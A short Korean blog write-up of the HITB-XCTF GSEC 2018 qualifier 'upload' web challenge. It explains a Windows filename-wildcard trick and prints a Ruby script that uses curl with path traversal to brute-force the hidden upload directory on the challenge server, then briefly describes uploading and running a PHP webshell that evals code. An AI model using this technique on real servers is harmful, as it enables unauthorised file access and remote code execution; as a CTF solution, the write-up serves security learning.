write-ups/CTF

HITB-XCTF GSEC CTF 2018 Quals upload (web) Write up

2018. 4. 14. 11:44

해당 문제는 윈도우 환경에서 일어날 수 있는 취약점을 기본으로 한다. 


윈도우에서는 < 이 것을 이용해서 리눅스에서 ? 같은 마스크의 역할을 할 수 있는 것이다. 

그래서 우리는 이것을 이용해서 upload 폴더를 찾을 수 있다. 


  1. s = ''
  2. while true
  3. ff = false
  4. t = '0123456789abcdef'.unpack("C*")
  5. t.each do |i|
  6. next if i == 0x3e || i == 0x3c
  7.  
  8.  
  9. r = `curl -s http://47.90.97.18:9999/pic.php?filename=../#{s}%#{'%02x' % i}%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e%3e/1523501227.png`
  10. unless r.include?('error')
  11. puts r
  12. puts i
  13. s += i.chr
  14. p s
  15. ff = true
  16. break
  17. end
  18. p [i, r]
  19. end
  20.  
  21. unless ff
  22. puts 'NF'
  23. puts s
  24. exit -1
  25. end
  26. end



그래서 특정 코드를 eval하는 PHP 웹쉘을 업로드하고 그것을 해당 방법으로 실행시켜서 찾고 실행하면 된다. 끝

'write-ups > CTF' 카테고리의 다른 글

DEFCON CTF 2018 exzendtential-crisis  (0) 2018.05.16
WPICTF 2018 Write up  (0) 2018.04.18
2018 코드게이트 본선 후기 - 2018 codegate quals  (0) 2018.04.04
DIMICTF do_you_know_rop write up  (0) 2018.02.19
코드게이트 2018 본선 진출  (0) 2018.02.15